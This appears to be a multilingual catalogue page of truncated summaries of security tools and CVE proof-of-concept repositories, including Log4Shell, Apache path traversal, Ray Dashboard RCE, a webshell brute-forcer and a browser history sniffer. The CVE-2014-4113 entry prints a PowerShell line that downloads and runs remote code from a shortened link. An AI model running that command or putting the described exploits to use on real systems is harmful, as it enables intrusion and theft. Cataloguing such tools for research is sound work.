SwishDbgExt

SwishDbgExt =========== SwishDbgExtは、Microsoft WinDbgのデバッグ拡張機能であり、利用可能なコマンドセットを拡張するだけでなく、既存のコマンドの修正と改善も行います。 この拡張機能はMatt Suiche（@msuiche）によって開発されました。サポートについては [email protected] までご連絡いただくか、機能リクエスト、コントリビューションの申し出、バグ報告をお願いします。...

sniffly

Sniffly2 Sniffly2는 HTTP Strict Transport Security 헤더와 Performance Timing API를 악용하여 Chromium 기반 브라우저에서 사용자의 방문 기록을 스니핑하는 Sniffly의 변형입니다. 데모 HTTPS Everywhere가 비활성화된 상태에서 Chrome/Chromium/Brave 등으로 http://diracdeltas.github.io/sniffly를 방문하세요. 주의사항: 모바일 또는 Firefox에서는 작동하지 않음 혼합 콘텐츠 차단으로 인해 HTTPS에서는 작동...

webscreenshot

webscreenshot 설명 웹사이트 목록을 스크린샷하는 간단한 스크립트로, url-to-image PhantomJS 스크립트를 기반으로 합니다. 기능 url-to-image의 'lazy-rendering'을 AJAX 리소스에 통합 Windows 및 Linux 시스템에서 완벽하게 작동 PhantomJS 렌더러를 위한 쿠키 및 사용자 정의 HTTP 헤더 정의 지원 멀티프로세싱 및 사용자 정의 시간 초과 후 응답하지 않는 프로세스 종료 여러 형식을 입력 대상으로 허용 스크린샷 크기너비, 높이, 형식 및 품질 사용자 정의 SSL ...

CVE-2021-41773

CVE-2021-41773 — Apache パストラバーサル & RCE エクスプロイト TryHackMe の 「Modern Web Stacks」 ルームの Writeup。modcgi が有効な場合にリモートコード実行へとつながる、Apache HTTP Server 2.4.49 のパストラバーサル脆弱性 CVE-2021-41773 の悪用に焦点を当てています。 概要...

awesome-pentest

Awesome 침투 테스트 훌륭한 침투 테스트 및 공격적 사이버 보안 리소스 모음입니다. 침투 테스트는 컴퓨터 시스템과 그 물리적 인프라에 대해 승인된 시뮬레이션 공격을 수행하여 잠재적인 보안 취약점을 노출하는 방법입니다. 취약점을 발견한 경우 이 지침에 따라 책임감 있게 보고해 주세요. 여러분의 기여와 제안을 진심으로♥ 환영합니다. ✿◕‿◕. 자세한 내용은 기여 가이드라인을 확인해 주세요. 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 사용이 허가됩니다. 목차 Android 유틸리티 익명성 도구 To...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows 전용 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

PwnAdventure3

PwnAdventure3 Pwnie Islandへようこそ！ Pwn Adventure 3: Pwnie Islandは、限定リリースのファーストパーソン・トゥルーオープンワールドMMORPGです。美しい島を舞台に、どんなことでも起こり得ます。なぜなら、このゲームは意図的にあらゆる種類のばかげたハックに対して脆弱だからです！飛行、無限の資金など、すべてはクライアントの変更またはネットワークプロキシ一つで実現できます。混乱の準備はできていますか？ 公式サイト: http://www.pwnadventure.com/ YouTubeシリーズ...

aws-security-assessment-solution

セルフサービスセキュリティアセスメントソリューション v2.0 サイバーセキュリティは、多くのCIO、CISO、そしてその顧客にとって非常に重要なトピックであり、関心事であり続けています。これらの重要な関心事に対応するために、AWSは顧客がアカウントを保護するために使用すべき主要なサービスのセットを開発しました。Amazon GuardDuty、AWS Security Hub、AWS Config、AWS Well-Architected...

crawlergo

crawlergo Мощный браузерный краулер для сканеров уязвимостей веб-приложений Английская документация | 中文文档 crawlergo — это браузерный краулер, использующий режим chrome headless для сбора URL. Он перехватывает ключевые позиции всей веб-страницы на этапе рендеринга DOM, автоматически заполняет и...

CVE-2025-52688

CVE-2025-52688 影響を受ける製品 Alcatel AP13161 - エンタープライズWIFIアクセスポイント 概要 ここでは主に2つの脆弱性が取り上げられています： 複数のJSON Webパラメータにおける入力サニタイズの欠如により、; のような悪意のある文字が注入され、コマンドインジェクション攻撃を引き起こす可能性があります。 fileName パラメータにおける適切なサニタイズとアクセス制御の欠如により、サーバー上の不正な任意ファイル読み取りが可能になります。 この脆弱性は、CSA（シンガポールサイバーセキュリティ庁）とNTUが主催したSPIRICYBER-24...

cheetah

영어 설명 | 중국어 설명 0x00 cheetah Cheetah는 사전 기반 무차별 대입 비밀번호 웹쉘 도구로, 치타가 사냥감을 쫓는 것처럼 빠르게 실행됩니다. Cheetah의 작동 원리는 한 번에 다양한 웹 서비스를 기반으로 많은 수의 탐지 비밀번호를 제출할 수 있다는 점이며, 무차별 대입 효율은 다른 일반적인 무차별 대입 비밀번호 웹쉘 도구보다 수천 배 빠릅니다. 이 버전은 이후에 자주 업데이트되지 않을 수 있으므로 Cheetah GUI 버전을 사용해 주세요! 0x01 기능 빠른 속도. Python 2.x 및 Python...

sniffglue

sniffglue sniffglue は Rust で書かれたネットワークスニファです。ネットワークパケットは、すべての CPU コアを活用するためにスレッドプールを使って並行して解析されます。このプロジェクトの目標は、信頼できないネットワーク上でも sniffglue を安全に実行でき、パケット処理中にクラッシュしないことです。出力はデフォルトで可能な限り有用であるべきです。 使い方 root@kitploit: sniff with default filters dhcp, dns, tls, http sniffglue enp0s25 increase the filter...

weave-gitops

Weave GitOps Weave GitOps는 클라우드 네이티브 애플리케이션을 원하지만 Kubernetes 전문 지식이 없는 사람들을 위한 간단한 오픈 소스 개발자 플랫폼입니다. GitOps를 활성화하고 클러스터에서 앱을 실행하는 것이 얼마나 쉬운지 경험해 보세요. Git을 사용하여 팀원들과 협업하면 새 배포를 쉽고 안전하게 만들 수 있습니다. 개발자가 앱을 실행하는 데 필요한 것부터 시작하여, 자체 엔터프라이즈 플랫폼을 정의하고 실행할 수 있도록 쉽게 확장할 수 있습니다. Kubernetes에서 Weave GitOps를...

CVE-2024-27914

CVE-2024-27914: GLPIのデバッグモードにおける反射型XSS 認証されていないユーザーは、反射型XSSの脆弱性を悪用するために、GLPI管理者に悪意のあるリンクを提供することができます。このXSSは、管理者がデバッグバーを操作した場合にのみ発動します。 パッケージ - GLPI https://github.com/glpi-project/glpi 影響を受けるバージョン - = 10.0.8 パッチ適用済みバージョン - 10.0.13 PoC -...

CVE-2023-6019

CVE-2023-6019 - Anyscale Ray Dashboard 미인증 RCE CVE-2023-6019에 대한 PoC 익스플로잇 — 미인증 Ray Dashboard Jobs API를 통한 원격 코드 실행. oguiii 제작 설명 Anyscale Ray는 분산 ML/AI 워크로드를 위한 오픈소스 프레임워크입니다. 2.6.4 이전 버전 에서는 Ray Dashboard기본 포트 8265를 통해 Jobs 제출 API를 인증 없이 노출하여, 인증되지 않은 공격자가 임의의 작업을 제출하고 호스트에서 원격 코드 실행 을 달성할 수...

CVE-2016-7434

CVE-2016-7434 CVE-2016-7434 ntpd 원격 사전 인증 서비스 거부 PoC/정보 출처: http://dumpco.re/cve-2016-7434/ https://www.exploit-db.com/exploits/40806/ root@nop:/code/CVE-2016-7434 echo -e...

apache_kylin

Apache Kylin Codacy Badge ビッグデータのための究極のOLAPエンジン Apache Kylin は、eBay Inc. によって提供されたオープンソースの分散分析エンジンです。Hadoop 上で SQL インターフェースと多次元分析（OLAP）を提供し、極めて大規模なデータセットをサポートします。 詳細については、ウェブサイト http://kylin.apache.org を参照してください。 ドキュメント http://kylin.apache.org/docs/ を参照してください。 サポート 開発者から最も早く返答を得る方法は、メーリングリスト...

Tunna

Tunna Tunna는 HTTP를 통해 모든 TCP 통신을 래핑하고 터널링하는 도구 모음입니다. 완전히 방화벽으로 차단된 환경에서 네트워크 제한을 우회하는 데 사용할 수 있습니다. v1.1 Alpha 버전 root@kitploit: | | | || | | | ' | ' \ / | | || || | | | | | | | | | || ,|| ||| ||,| Tunna 0.1, HTTP 터널링 TCP 연결용 Nikos Vassakis http://www.secforce.co.uk / nikos.vassakis...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 면책 조항 이 실습 환경은 보안 교육 및 연구 목적으로만 제작되었습니다. 모든 트래픽은 격리된 Docker 네트워크 내에서 발생합니다. 실제 시스템이나 명시적인 허가 없이 이 자료를 사용하지 마세요. 오용은 범죄가 될 수 있습니다. 책임감 있게 사용하세요. CVE-2021-44228이란? Log4Shell 은 2021년 12월에 Java 애플리케이션에서 널리 사용되는 로깅 라이브러리 Apache Log4j 2 에서 발견된 치명적인 취약점CVSS 10.0입니다. 취약...

bash-CVE-2017-17562

bash-CVE-2017-17562 CVE-2017-17562에 대한 Bash 기반 PoC 구현체입니다. HTTP 요청 생성을 위해 curl이 필요합니다. 이 구현은 Metasploit 및 @fssecur3의 구현을 기반으로 합니다. Arguments 다음 인수들은 정찰 및 페이로드 전송을 위해 필수로 설정되어야 합니다: root@kitploit: $1: IP/Host of remote vulnerable machine being attacked $2: Port of remote machine webserver $4: Path...